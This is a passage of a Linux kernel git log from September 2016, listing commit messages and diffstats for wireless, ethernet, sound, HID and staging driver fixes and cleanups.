however wasn't really that necessary, it doesn't point to any driver bug anymore and backtrace wasn't much useful. Signed-off-by: Rafał Miłecki Acked-by: Arend van Spriel Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/core.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 8334ffdc8290949bd838e0d83e200a87f2c0efc4 Author: Larry Finger Date: Sat Sep 24 11:57:19 2016 -0500 rtlwifi: Add explicit values to hw_variables enum The entries in this enum may be referenced in debug output. Adding explicit values simplifies the lookup. Signed-off-by: Larry Finger Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtlwifi/wifi.h | 208 ++++++++++++++-------------- 1 file changed, 104 insertions(+), 104 deletions(-) commit 1cc49a5b5466e30a26700af3ac9d85c8ebb1b936 Author: Larry Finger Date: Sat Sep 24 11:57:18 2016 -0500 rtlwifi: Add HAL_DEF_WOWLAN case to *_get_hw() routines Only rtl8821ae implements WOWLAN; however, the other drivers may receive a call requesting information about this mode. The other drivers need to ignore the request rather than logging that the default branch of the switch statement has been reached. Reported by: Jean Delvare Signed-off-by: Larry Finger Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtlwifi/rtl8188ee/hw.c | 2 ++ drivers/net/wireless/realtek/rtlwifi/rtl8192ce/hw.c | 2 ++ drivers/net/wireless/realtek/rtlwifi/rtl8192de/hw.c | 2 ++ drivers/net/wireless/realtek/rtlwifi/rtl8192ee/hw.c | 2 ++ drivers/net/wireless/realtek/rtlwifi/rtl8192se/hw.c | 2 ++ drivers/net/wireless/realtek/rtlwifi/rtl8723ae/hw.c | 2 ++ drivers/net/wireless/realtek/rtlwifi/rtl8723be/hw.c | 2 ++ 7 files changed, 14 insertions(+) commit ad5748893b27b9b27b2deb597443ad6702719c20 Author: Joe Perches Date: Fri Sep 23 11:27:19 2016 -0700 rtlwifi: Add switch variable to 'switch case not processed' messages Help along debugging by showing what switch/case variable is not being processed in these messages. Signed-off-by: Joe Perches Acked-by: Larry Finger Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtlwifi/core.c | 3 ++- drivers/net/wireless/realtek/rtlwifi/pci.c | 3 ++- drivers/net/wireless/realtek/rtlwifi/ps.c | 2 +- drivers/net/wireless/realtek/rtlwifi/rtl8188ee/fw.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8188ee/hw.c | 9 +++++---- drivers/net/wireless/realtek/rtlwifi/rtl8188ee/led.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8188ee/phy.c | 10 ++++++---- .../wireless/realtek/rtlwifi/rtl8192c/fw_common.c | 4 ++-- .../wireless/realtek/rtlwifi/rtl8192c/phy_common.c | 8 +++++--- drivers/net/wireless/realtek/rtlwifi/rtl8192ce/hw.c | 7 ++++--- drivers/net/wireless/realtek/rtlwifi/rtl8192ce/led.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8192ce/phy.c | 7 ++----- drivers/net/wireless/realtek/rtlwifi/rtl8192cu/hw.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8192cu/led.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8192cu/phy.c | 7 ++----- drivers/net/wireless/realtek/rtlwifi/rtl8192de/fw.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8192de/hw.c | 9 +++++---- drivers/net/wireless/realtek/rtlwifi/rtl8192de/led.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8192de/phy.c | 15 +++++++-------- drivers/net/wireless/realtek/rtlwifi/rtl8192ee/fw.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8192ee/hw.c | 9 +++++---- drivers/net/wireless/realtek/rtlwifi/rtl8192ee/led.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8192ee/phy.c | 10 ++++++---- drivers/net/wireless/realtek/rtlwifi/rtl8192se/hw.c | 9 +++++---- drivers/net/wireless/realtek/rtlwifi/rtl8192se/led.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8192se/phy.c | 5 +++-- drivers/net/wireless/realtek/rtlwifi/rtl8723ae/fw.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8723ae/hw.c | 9 +++++---- drivers/net/wireless/realtek/rtlwifi/rtl8723ae/led.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8723ae/phy.c | 10 ++++++---- drivers/net/wireless/realtek/rtlwifi/rtl8723be/fw.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8723be/hw.c | 10 +++++----- drivers/net/wireless/realtek/rtlwifi/rtl8723be/led.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8723be/phy.c | 12 +++++++----- drivers/net/wireless/realtek/rtlwifi/rtl8821ae/fw.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8821ae/hw.c | 9 +++++---- drivers/net/wireless/realtek/rtlwifi/rtl8821ae/led.c | 4 ++-- drivers/net/wireless/realtek/rtlwifi/rtl8821ae/phy.c | 20 ++++++-------------- 38 files changed, 128 insertions(+), 123 deletions(-) commit 0ad523c8a1c3325547d454fc4c8abf58eb5b327e Merge: 2df86ad 9cd70e8 Author: Kalle Valo Date: Tue Sep 27 18:32:24 2016 +0300 Merge tag 'iwlwifi-next-for-kalle-2015-09-26' of git://git.kernel.org/pub/scm/linux/kernel/git/iwlwifi/iwlwifi-next * Some new HW IDs; * Small fix in CTDP error handling; * Remove support for older firmwares; * Clean-ups and a few simple fixes here and there. commit 0eec880966e77bdbee0112989a2be67d92e39929 Author: Takashi Iwai Date: Tue Sep 27 16:44:49 2016 +0200 ALSA: hda - Add the top speaker pin config for HP Spectre x360 HP Spectre x360 with CX20724 codec has two speaker outputs while the BIOS sets up only the bottom one (NID 0x17) and disables the top one (NID 0x1d). This patch adds a fixup simply defining the proper pincfg for NID 0x1d so that the top speaker works as is. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=169071 Cc: Signed-off-by: Takashi Iwai sound/pci/hda/patch_conexant.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit e96e0eded1335b9cfac71fcdd989d682eb3f8412 Author: jbaron@akamai.com Date: Mon Sep 26 11:00:44 2016 -0400 bnx2x: free the mac filter group list before freeing the cmd The group list must be freed prior to freeing the command otherwise we have a use-after-free. Signed-off-by: Jason Baron Cc: Yuval Mintz Cc: Ariel Elior Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnx2x/bnx2x_sp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 44675a6df839259102178c1e0c3c082821fcb8b7 Merge: 3783c09 ca3ba10 Author: David S. Miller Date: Tue Sep 27 09:41:38 2016 -0400 Merge branch 'mediatek-pdam-lro-fixes' Nelson Chang says: ==================== net: ethernet: mediatek: some bug fixes for PDAM and HW LRO 1) Add to stop PDMA while stopping the frame engine 2) Modify the register settings for LRO relinquishments 3) Jump out from the waiting loop while LRO relinquishments are done ==================== Signed-off-by: David S. Miller commit ca3ba106a9979dd21988cec296462b4f49b37ace Author: Nelson Chang Date: Mon Sep 26 14:33:50 2016 +0800 net: ethernet: mediatek: bug fix to disable HW LRO (1) Modify the register settings for LRO relinquishments (2) Jump out from the waiting loop while LRO relinquishments are done Signed-off-by: Nelson Chang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 1 + drivers/net/ethernet/mediatek/mtk_eth_soc.h | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) commit 6bf563d50af2de34024bde0de1733d4028f9400c Author: Nelson Chang Date: Mon Sep 26 14:33:49 2016 +0800 net: ethernet: mediatek: add to stop PDMA while stopping the frame engine Stop PDMA while the frame engine is going to stop. Signed-off-by: Nelson Chang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 1 + 1 file changed, 1 insertion(+) commit 30d2049b3277cdf6964996f86626add08cf160df Author: Ben Greear Date: Mon Sep 26 21:56:26 2016 +0300 ath10k: support up to 64 vdevs The (1 << x) - 1 trick won't work when you are trying to fill up all 64 bits, so add special case for that. Signed-off-by: Ben Greear [kvalo@qca.qualcomm.com: remove the sentence about moving limits] Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/core.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 15138fdf327da6132b6e00e3d8c083476eb9aea2 Author: Ben Greear Date: Mon Sep 26 21:56:26 2016 +0300 ath10k: document cycle count related counters They are not necessarily named in an intuitive manner, so at least add some comments to help the next person. Signed-off-by: Ben Greear Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/core.h | 8 ++++---- drivers/net/wireless/ath/ath10k/wmi.h | 8 ++++---- 2 files changed, 8 insertions(+), 8 deletions(-) commit aa66ba0c31c69d13e5a59096a67775b776dccbec Author: Ben Greear Date: Mon Sep 26 21:56:25 2016 +0300 ath10k: fix typo in logging message Signed-off-by: Ben Greear Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/mac.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2f38c3c01de945234d23dd163e3528ccb413066d Author: Vasanthakumar Thiagarajan Date: Mon Sep 26 21:56:24 2016 +0300 ath10k: fix rfc1042 header retrieval in QCA4019 with eth decap mode Chipset from QCA99X0 onwards (QCA99X0, QCA9984, QCA4019 & future) rx_hdr_status is not padded to align in 4-byte boundary. Define a new hw_params field to handle different alignment behaviour between different hw. This patch fixes improper retrieval of rfc1042 header with QCA4019. This patch along with "ath10k: Properly remove padding from the start of rx payload" will fix traffic failure in ethernet decap mode for QCA4019. Signed-off-by: Vasanthakumar Thiagarajan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/core.c | 12 ++++++++++++ drivers/net/wireless/ath/ath10k/htt_rx.c | 5 +++-- drivers/net/wireless/ath/ath10k/hw.h | 3 +++ 3 files changed, 18 insertions(+), 2 deletions(-) commit 65901a9e70584afb840b1c013d582d07b7f61696 Author: Masahiro Yamada Date: Mon Sep 26 21:56:24 2016 +0300 ath10k: do not check if reset is NULL Since reset_control_get() never returns NULL, we can use IS_ERR() instead of IS_ERR_OR_NULL(). The return statements can be simpler as well. Signed-off-by: Masahiro Yamada Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/ahb.c | 25 ++++++++++--------------- 1 file changed, 10 insertions(+), 15 deletions(-) commit c5d8a34675d9160493a990007ae85ced02241d29 Author: Masahiro Yamada Date: Mon Sep 26 21:56:23 2016 +0300 ath10k: use devm_reset_control_get() instead of reset_control_get() Use the managed variant of reset_control_get() to simplify the failure path and the .remove callback. Signed-off-by: Masahiro Yamada Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/ahb.c | 56 +++++++---------------------------- 1 file changed, 10 insertions(+), 46 deletions(-) commit 828662753d60e5f95d082dd50dfc6ce1abe82095 Author: Masahiro Yamada Date: Mon Sep 26 21:56:22 2016 +0300 ath10k: use devm_clk_get() instead of clk_get() Use the managed variant of clk_get() to simplify the failure path and the .remove callback. Signed-off-by: Masahiro Yamada Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/ahb.c | 34 ++++++---------------------------- 1 file changed, 6 insertions(+), 28 deletions(-) commit e13dbead976d79968bd616b924f300cdaf15f852 Author: Joe Perches Date: Mon Sep 26 21:56:21 2016 +0300 ath10k: spelling and miscellaneous neatening Correct some trivial comment typos. Remove unnecessary parentheses in a long line. Signed-off-by: Joe Perches [kvalo@qca.qualcomm.com: drop the change for return] Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/ce.c | 2 +- drivers/net/wireless/ath/ath10k/htt.h | 8 ++++---- drivers/net/wireless/ath/ath10k/hw.c | 2 +- drivers/net/wireless/ath/ath10k/hw.h | 2 +- drivers/net/wireless/ath/ath10k/targaddrs.h | 2 +- drivers/net/wireless/ath/ath10k/wmi.h | 24 ++++++++++++------------ 6 files changed, 20 insertions(+), 20 deletions(-) commit 9a54cf462d6f3c383a5a4f5fe15c020a03db44e6 Author: Masaki Ota <012nexus@gmail.com> Date: Tue Sep 27 14:04:37 2016 +0900 HID: alps: fix multitouch cursor issue Issue reproduction procedure: 1. three or more fingers put on Touchpad. 2. release fingers from Touchpad. 3. move the cursor by one finger. 4. the cursor does not move. Cause: We do not notify multi fingers state correctly to input subsystem. For example, when three fingers release from Touchpad, fingers state is 3 -> 0. It needs to notify first, second and third finger's releasing state. Fix this by not breaking out on z axis and move x,y,z input handling code to the correct place so that it's in fact per-finger. [jkosina@suse.cz: reword changelog] Signed-off-by: Masaki Ota Signed-off-by: Jiri Kosina drivers/hid/hid-alps.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 3783c09eabb78151bcef539ffb16d603b82024f5 Merge: 1955351 fa92bf0 Author: David S. Miller Date: Tue Sep 27 07:43:13 2016 -0400 Merge branch 'bcmgenet-phydev-revert' Philippe Reynes says: ==================== net: bcmgenet: only use new api ethtool_{get|set}_link_ksettings Some times ago, a serie of patches were committed : - commit 62469c76007e ("net: ethernet: bcmgenet: use phydev from struct net_device") - commit 6b352ebccbcf ("net: ethernet: broadcom: bcmgenet: use new api ethtool_{get|set}_link_ksettings") The first patch add a regression on this driver, so it should be reverted. As the second patch depend on the former, it should be reverted too. The first patch is buggy because there is a "trick" in this driver. The structure phydev is kept in the private data when the interface go down, and used when the interface go up to enable the phy before the function phy_connect is called. I don't have this hardware, neither the datasheet. So I won't update the driver to avoid this trick. But the real goal of the first serie was to move to the new api ethtool_{get|set}_link_ksettings. So I provide a new version of the patch without the "cleaning" of driver to use the phydev store in the net_device structure. Changelog: v3: - use priv instead of dev (so all the code use the same phydev) v2: - use Florian Fainelli patches for the revert instead of Jaedon Shin - simply use net: bcmgenet: for the prefix of the patch ==================== Acked-by: Florian Fainelli Signed-off-by: David S. Miller commit fa92bf04f583dddf275845838e686fd052f5b49a Author: Philippe Reynes Date: Mon Sep 26 22:31:57 2016 +0200 net: bcmgenet: use new api ethtool_{get|set}_link_ksettings The ethtool api {get|set}_settings is deprecated. We move this driver to new api {get|set}_link_ksettings. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/genet/bcmgenet.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit 0299b6acf977f2c5ce9feea8faed0e264d3f01d3 Author: Florian Fainelli Date: Mon Sep 26 22:31:56 2016 +0200 Revert "net: ethernet: bcmgenet: use phydev from struct net_device" This reverts commit 62469c76007e ("net: ethernet: bcmgenet: use phydev from struct net_device") because it causes GENETv1/2/3 adapters to expose the following behavior after an ifconfig down/up sequence: PING fainelli-linux (10.112.156.244): 56 data bytes 64 bytes from 10.112.156.244: seq=1 ttl=61 time=1.352 ms 64 bytes from 10.112.156.244: seq=1 ttl=61 time=1.472 ms (DUP!) 64 bytes from 10.112.156.244: seq=1 ttl=61 time=1.496 ms (DUP!) 64 bytes from 10.112.156.244: seq=1 ttl=61 time=1.517 ms (DUP!) 64 bytes from 10.112.156.244: seq=1 ttl=61 time=1.536 ms (DUP!) 64 bytes from 10.112.156.244: seq=1 ttl=61 time=1.557 ms (DUP!) 64 bytes from 10.112.156.244: seq=1 ttl=61 time=752.448 ms (DUP!) This was previously fixed by commit 5dbebbb44a6a ("net: bcmgenet: Software reset EPHY after power on") but the commit we are reverting was essentially making this previous commit void, here is why. Without commit 62469c76007e we would have the following scenario after an ifconfig down then up sequence: - bcmgenet_open() calls bcmgenet_power_up() to make sure the PHY is initialized *before* we get to initialize the UniMAC, this is critical to ensure the PHY is in a correct state, priv->phydev is valid, this code executes fine - second time from bcmgenet_mii_probe(), through the normal phy_init_hw() call (which arguably could be optimized out) Everything is fine in that case. With commit 62469c76007e, we would have the following scenario to happen after an ifconfig down then up sequence: - bcmgenet_close() calls phy_disonnect() which makes dev->phydev become NULL - when bcmgenet_open() executes again and calls bcmgenet_mii_reset() from bcmgenet_power_up() to initialize the internal PHY, the NULL check becomes true, so we do not reset the PHY, yet we keep going on and initialize the UniMAC, causing MAC activity to occur - we call bcmgenet_mii_reset() from bcmgenet_mii_probe(), but this is too late, the PHY is botched, and causes the above bogus pings/packets transmission/reception to occur Reported-by: Jaedon Shin Signed-off-by: Florian Fainelli Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/genet/bcmgenet.c | 45 ++++++++++++++------------ drivers/net/ethernet/broadcom/genet/bcmgenet.h | 1 + drivers/net/ethernet/broadcom/genet/bcmmii.c | 24 +++++++------- 3 files changed, 39 insertions(+), 31 deletions(-) commit 62c8d3daada97dab481a8235f39f2283daf5c8ba Author: Philippe Reynes Date: Mon Sep 26 22:31:55 2016 +0200 Revert "net: ethernet: bcmgenet: use new api ethtool_{get|set}_link_ksettings" This reverts commit 6b352ebccbcf ("net: ethernet: broadcom: bcmgenet: use new api ethtool_{get|set}_link_ksettings"). We needs to revert the commit 62469c76007e ("net: ethernet: bcmgenet: use phydev from struct net_device"), because this commit add a regression. As the commit 6b352ebccbcf ("net: ethernet: broadcom: bcmgenet: use new api ethtool_{get|set}_link_ksettings") depend on the first one, we also need to revert it first. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/genet/bcmgenet.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit 1d0a2c5f2c53dc116e4e5dc9ef4661baf2f597ec Author: Namrata A Shettar Date: Sat Sep 24 21:31:34 2016 +0530 staging: media: lirc: Replace data type with pointer in sizeof() Replace data type with pointer of same type in sizeof() to resolve checkpatch issue. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/media/lirc/lirc_sasem.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 2b21f96d6b8ac0ee91993abf9865e20fd0d215a8 Author: Namrata A Shettar Date: Sat Sep 24 21:30:57 2016 +0530 staging: media: lirc: Add space around binary operators Add space around binary operators to resolve checkpatch issue. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/media/lirc/lirc_parallel.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 3dbab14b85a8537b4c447ca16d885a3cc1fa2f9e Author: Yannis Damigos Date: Tue Sep 27 10:38:26 2016 +0300 staging:android:ion: Fix whitespace issue This patch fixes the following whitespace issue: CHECK: spaces preferred around that '*' (ctx:VxV) FILE: drivers/staging/android/ion/ion_of.c:91: + sizeof(struct ion_platform_heap)*num_heaps, Signed-off-by: Yannis Damigos Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion_of.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c595149c3e58cd4839354163a77a74cf6816d276 Author: Yannis Damigos Date: Tue Sep 27 10:38:25 2016 +0300 staging:android:ion: Fix blank line issues This patch fixes the following blank line issues: CHECK: Please don't use multiple blank lines CHECK: Please use a blank line after function/struct/union/enum declarations +} +RESERVEDMEM_OF_DECLARE(ion, "ion-region", rmem_ion_setup); Signed-off-by: Yannis Damigos Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion_of.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit faa2f6f383c1a5e7200de0e2647442ff7ebf5108 Author: Yannis Damigos Date: Tue Sep 27 10:38:24 2016 +0300 staging:android:ion: Fix alignment issues This patch fixes the following whitespace issues: CHECK: Alignment should match open parenthesis + pr_info("%s: id %d type %d name %s align %lx\n", __func__, + heap->id, heap->type, heap->name, heap->align); CHECK: Alignment should match open parenthesis +struct ion_platform_data *ion_parse_dt(struct platform_device *pdev, + struct ion_of_heap *compatible) CHECK: Alignment should match open parenthesis + heaps = devm_kzalloc(&pdev->dev, + sizeof(struct ion_platform_heap)*num_heaps, CHECK: Alignment should match open parenthesis + data = devm_kzalloc(&pdev->dev, sizeof(struct ion_platform_data), + GFP_KERNEL); CHECK: Alignment should match open parenthesis + heap_pdev = of_platform_device_create(node, heaps[i].name, + &pdev->dev); CHECK: Alignment should match open parenthesis + pr_debug("%s: heap %s base %pa size %pa dev %p\n", __func__, + heap->name, &rmem->base, &rmem->size, dev); CHECK: Alignment should match open parenthesis +static void rmem_ion_device_release(struct reserved_mem *rmem, + struct device *dev) Signed-off-by: Yannis Damigos Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion_of.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit 66fa610095f758d1793a30d1cd57a0c1432258e2 Author: Yannis Damigos Date: Tue Sep 27 10:38:23 2016 +0300 staging:android:ion: Fix comparison with NULL This patch fixes the following comparison with NULL issues: CHECK: Comparison to NULL could be written "compatible[i].name" + for (i = 0; compatible[i].name != NULL; i++) { CHECK: Comparison to NULL could be written "!compatible[i].name" + if (compatible[i].name == NULL) Signed-off-by: Yannis Damigos Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion_of.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9f7a104c2be97902752f7d7a15e955b2de402356 Author: Daeseok Youn Date: Mon Sep 26 09:47:20 2016 +0900 staging: dgnc: introduce find_board_by_major() It was used to get a board structure with dgnc_BoardsByMajor array. But this driver already has the array for managing initialized board as dgap_board[]. It can be used for searching the board structure by major number. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_tty.c | 25 +++++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-) commit 1cd7c06213eaeb6c045983ebed8be866938c42b5 Author: Daeseok Youn Date: Mon Sep 26 09:46:48 2016 +0900 staging: dgnc: remove useless variables The dgnc_major_serial_registered and dgnc_major_serial_registered do not need to use to check whether the tty driver is registered or not. These variables are used only in dgnc_cleanup_tty() function, This function will be called normally with initialized board structure. It means the dgnc_cleanup_tty() cannot be called with unregistered tty. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_driver.h | 3 -- drivers/staging/dgnc/dgnc_tty.c | 64 +++++++++++++++----------------------- 2 files changed, 25 insertions(+), 42 deletions(-) commit 33ccb442aa6b133c7c32aec02b633b11878e04e9 Author: Daeseok Youn Date: Mon Sep 26 09:46:12 2016 +0900 staging: dgnc: rename dgnc_tty_uninit() to dgnc_cleanup_tty() The dgnc_tty_uninit() doesn't match with dgnc_tty_init() at all. And also the dgnc_cleanup_tty() is only called for exiting the module. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_driver.c | 2 +- drivers/staging/dgnc/dgnc_tty.c | 4 ++-- drivers/staging/dgnc/dgnc_tty.h | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) commit 5897914f0abb276dddd8fea257782c489acb290b Author: Daeseok Youn Date: Mon Sep 26 09:45:14 2016 +0900 staging: dgnc: introduce the dgnc_free_irq() The dgnc_free_irq() will free the requested IRQ from the dgnc_request_irq(). Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_driver.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit 0d79f59dbee57df234d982c6b4eab8037cc1cbb7 Author: Daeseok Youn Date: Mon Sep 26 09:44:42 2016 +0900 staging: dgnc: rename dgnc_finalize_board_init() to dgnc_request_irq() The dgnc_finalize_board_init() function has only job for requesting the IRQ. It should be renamed to dgnc_request_irq() Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_driver.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit eea5fd116401ed89994e11a6cc1a2e0bee83d8c9 Author: Daeseok Youn Date: Mon Sep 26 09:43:51 2016 +0900 staging: dgnc: introduce the dgnc_tty_unregister() The dgnc_tty_unregister() will be called when the dgnc_tty_register() is failed. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_driver.c | 7 +++++-- drivers/staging/dgnc/dgnc_tty.c | 8 ++++++++ drivers/staging/dgnc/dgnc_tty.h | 1 + 3 files changed, 14 insertions(+), 2 deletions(-) commit f20ae478ffcf5f191dc7b9aea0489b85e97c8e4e Author: Daeseok Youn Date: Mon Sep 26 09:43:04 2016 +0900 staging: dgnc: move functions unrelated with dgnc_found_board() The functions related with tty device initialization are needed to be moved from dgnc_found_board() to dgnc_init_one(). Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_driver.c | 81 ++++++++++++++++++++------------------ 1 file changed, 43 insertions(+), 38 deletions(-) commit 467132b029fedbffef2e252f2caff4f9dd9a59ff Author: Daeseok Youn Date: Mon Sep 26 09:42:02 2016 +0900 staging: dgnc: kfree for board structure in dgnc_found_board() The board structure should be freed when any function was failed in dgnc_found_board(). And the board strucure will be stored into dgnc_board array when the dgnc_found_board() function has no error. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_driver.c | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) commit b09f0cd53f83f937a4e8b58298dbba981b72428b Author: Daeseok Youn Date: Mon Sep 26 09:40:58 2016 +0900 staging: dgnc: missing NULL check for ioremap in dgnc_do_remap() The ioremap() function can be failed, so it need to have error handling in dgnc_do_remap(). And also the return type of dgnc_do_remap() should be changed from "void" to "int" Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_driver.c | 31 +++++++++++++++++++++---------- 1 file changed, 21 insertions(+), 10 deletions(-) commit f530834ef4d99ed2c6d8cb435a739a2a8167574a Author: Daeseok Youn Date: Mon Sep 26 09:38:48 2016 +0900 staging: dgnc: remove useless message buffer There is a temporary message buffer for the boot message in dgnc_found_board() but the buffer was not used anywhere in dgnc driver. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_driver.c | 28 ---------------------------- drivers/staging/dgnc/dgnc_driver.h | 6 ------ 2 files changed, 34 deletions(-) commit cc1c1c141cc6747f0051cccd377e47cd2bda9b3e Author: Daeseok Youn Date: Mon Sep 26 09:37:51 2016 +0900 staging: dgnc: remove redundant initialization for channel array The channel array in board_t was initialized in dgnc_found_board() with NULL. But the channel is going to initialize in dgnc_tty_init(). So the channel array doesn't need to set NULL for initailization. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_driver.c | 3 --- 1 file changed, 3 deletions(-) commit e95557654167bbf8005a38957f4cf69550db5d35 Author: Namrata A Shettar Date: Sun Sep 25 17:17:57 2016 +0530 staging: media: lirc: Remove unnecessary blank lines Remove unneccessary blank lines to resolve checkpatch issue. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/media/lirc/lirc_sasem.c | 11 ----------- 1 file changed, 11 deletions(-) commit a0ba7fcf6a98936afb43acd0a4070b4b0e95bb8e Author: Namrata A Shettar Date: Sat Sep 24 21:31:23 2016 +0530 staging: media: lirc: Convert 'unsigned' to 'unsigned int' Mention data type along with the variable to resolve checkpatch issue. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/media/lirc/lirc_sasem.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 46c539054ecf5b1f4d1e3be07ddfdef5c88cd53c Author: Namrata A Shettar Date: Sat Sep 24 21:30:42 2016 +0530 staging: media: lirc: Replace data type with pointer of same type Replace data type with pointer of same type in sizeof() to resolve checkpatch issue. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/media/lirc/lirc_imon.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit d85549a80b3d9d9dfa6922c80034ad78c7587ce2 Author: Namrata A Shettar Date: Sat Sep 24 21:30:20 2016 +0530 staging: media: lirc: Add space around '*' Add space around '*' to resolve checkpatch issue. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/media/lirc/lirc_bt829.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e2ba2cb3278c5f15240ea4c05639a318e4f90128 Author: Namrata A Shettar Date: Sat Sep 24 21:30:04 2016 +0530 staging: media: lirc: Remove multiple blank lines Remove multiple blank lines to resolve checkpatch issue. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/media/lirc/lirc_bt829.c | 3 --- 1 file changed, 3 deletions(-) commit 06a4f429bfa20d22c1385a35656206301ac2e672 Author: Moshe Green Date: Sun Sep 25 22:58:35 2016 +0300 staging: sm750fb: rename getChipType to sm750_get_chip_type Rename CamelCased function getChipType to sm750_get_chip_type (prefex with sm750 in order to make the context of the function clear). This issue was found by checkpatch.pl Signed-off-by: Moshe Green Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/ddk750_chip.c | 16 ++++++++-------- drivers/staging/sm750fb/ddk750_chip.h | 2 +- drivers/staging/sm750fb/ddk750_mode.c | 4 ++-- drivers/staging/sm750fb/ddk750_power.c | 6 +++--- drivers/staging/sm750fb/ddk750_swi2c.c | 2 +- drivers/staging/sm750fb/sm750_hw.c | 8 ++++---- 6 files changed, 19 insertions(+), 19 deletions(-) commit 3d44a78f0d8b7128221e19cf10d506010df20b59 Author: Namrata A Shettar Date: Mon Sep 26 00:05:49 2016 +0530 staging: rtl8712: Remove unnecessary 'else' Remove unnecessary 'else' after 'return' to resolve checkpatch issue. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/rtl8712_recv.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 8abcae443af7b502831faa302b1bed7e765234e1 Author: Eric Salem Date: 